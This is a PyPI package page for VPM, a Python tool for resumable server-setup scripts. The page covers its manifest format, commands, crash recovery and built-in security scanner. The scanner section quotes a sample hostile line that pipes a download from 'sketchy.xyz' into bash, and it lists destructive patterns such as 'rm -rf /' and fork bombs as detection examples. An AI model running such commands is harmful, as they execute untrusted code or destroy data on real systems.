Skip to main content

VPM Logo

VPM — Virtual Package Manager

Resumable, trackable script orchestration for VPS and local environments.
Define steps. Run them. Resume if interrupted. Rollback if needed.

PyPI CI License Python


Why VPM?

You SSH into a server. You need to run 30+ commands to set up Docker, Nginx, firewall, SSL, your app. Halfway through, your connection drops.

With VPM:

  • Write once — Define steps in a simple manifest file
  • Resume anywhere — Interrupted? Just run vpm install again
  • Track everything — Every step's status, exit code, and full output logged
  • Stay safe — Built-in security scanner catches risky commands before execution
  • Undo mistakes — Rollback support reverses completed steps
  • Resolve dependencies — App B needs App A? VPM handles the order
  • Zero dependencies — Pure Python 3.10+ stdlib. Nothing to install but VPM itself

Install

pip install vpmx        # or: pipx install vpmx
vpm doctor              # verify everything works

60-Second Demo

# Create a project
mkdir ~/server-setup && cd ~/server-setup
vpm init

# Edit the manifest (or let an AI agent generate one)
nano vpm-manifest.yaml

# Preview what will run
vpm install --dry-run

# Scan for security issues
vpm audit

# Execute
vpm install

# Check status anytime
vpm status

Manifest Format

# vpm-manifest.yaml

[system_base] Core packages
- label: Update system
  run: sudo apt-get update -y && sudo apt-get upgrade -y

- label: Install essentials
  run: sudo apt-get install -y curl wget git htop
  rollback: sudo apt-get remove -y curl wget git htop

[docker] Docker Engine
requires: system_base

- label: Install Docker
  run: |
    curl -fsSL https://get.docker.com | sh
    sudo usermod -aG docker $USER
  rollback: sudo apt-get remove -y docker-ce

- label: Verify
  run: docker --version

That's it. [app_name], requires:, label:, run:, rollback:. Full manifest docs →


Commands

Command What it does
vpm install Execute manifest (resumes automatically)
vpm install --dry-run Preview without executing
vpm audit Security scan a manifest
vpm run <url> Fetch & execute a remote manifest
vpm rollback <app> Undo completed steps in reverse
vpm status Show all tracked apps
vpm logs <app> Browse execution logs
vpm retry <app> Resume from failure point
vpm reset <app> Clear tracking for fresh install
vpm doctor Diagnose environment

Full commands reference →


Security Scanner

VPM scans manifests before execution — catching dangerous patterns automatically:

⚠ HIGH: Downloading and piping directly to shell interpreter
  Step 1: Install sketchy tool
    curl http://sketchy.xyz/payload | bash
  → Download first, inspect, then execute.

◐ MEDIUM: URL uses suspicious TLD: .xyz
  → Verify this domain is legitimate.
Severity Examples
Critical rm -rf /, fork bombs, disk formatting
High curl | bash, eval $var, chmod 777
Medium Unknown URLs, third-party repos, non-HTTPS
Low sudo usage (expected but noted)

Configurable levels: strict, warn (default), permissive, off. Security docs →


Remote Manifests

Run manifests directly from URLs or GitHub repos:

vpm run https://example.com/setup.yaml
vpm run github:user/repo                    # fetches vpm-manifest.yaml
vpm run github:user/repo/path/file.yaml     # specific file

Security scanning is mandatory for remote manifests.


Crash Recovery

You:     vpm install          # starts running
SSH:     *disconnects*        # step 3 of 8 was running
You:     vpm install          # reconnect, run again
VPM:     Steps 1-2 ✔ skip    # already done
         Step 3 → re-run     # was interrupted
         Steps 4-8 → run     # continue normally

The lock file tracks every step atomically. No corruption, no re-running completed work.


Examples

Real-world manifests in examples/:


For AI Agents

VPM is designed to work with AI assistants. Ask your AI to "create a VPM manifest to set up X" and it works.

  • AGENTS.md — Concise reference for AI context windows
  • llms.txt — Ultra-condensed reference

Documentation

Guide What's covered
Manifest Format Syntax, apps, steps, dependencies, multi-line commands
Commands Reference All CLI commands with flags and examples
Security & Rollback Scanner config, rollback system, remote manifests
How It Works Lock file, step states, crash recovery, change detection
Execution Model PTY execution, interactive support, file locations
Writing Manifests Best practices, patterns, anti-patterns, AI agent guidelines
Troubleshooting Common issues, fixes, architecture overview

Contributing

See CONTRIBUTING.md. No external dependencies — pure Python stdlib.

License

MIT — Mohammed A. Al-Kebsi

Metadata

Release files for vpmx 1.2.3

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for vpmx 1.2.3
File Size Uploaded
vpmx-1.2.3.tar.gz 45.0 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for vpmx 1.2.3
File Interpreter ABI Platform
vpmx-1.2.3-py3-none-any.whl Python 3 none any Details

Total release size: 87.0 kB

Release files / vpmx-1.2.3.tar.gz

Download URL vpmx-1.2.3.tar.gz
Size 45.0 kB
Tags Source
SHA-256 checksum
How to use checksums
418a8f9459527f15bed58b3354c8ce5d346f7f74811eaa24b6c771ba5a2031ca
BLAKE2b-256 checksum
How to use checksums
267ed261659071b4ae4275bb7185db6be295e51ee058846221bc26ff02f99eeb
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Aug 1, 2026.

Transparency log

Release files / vpmx-1.2.3-py3-none-any.whl

Download URL vpmx-1.2.3-py3-none-any.whl
Size 42.0 kB
Tags Python 3
SHA-256 checksum
How to use checksums
b101d83ff911477eb8c635e6e94b732a794b01387421a7e7ede5133f073974e5
BLAKE2b-256 checksum
How to use checksums
d95a7c056aa3c7826e2092f0ffb69c2291235aeb173ac0c757a328d14df280b8
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Aug 1, 2026.

Transparency log

Release history Release notifications | RSS feed

This release

1.2.3 This release

2 release files

1.2.2

2 release files

1.2.1

2 release files

1.2.0

2 release files

1.1.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page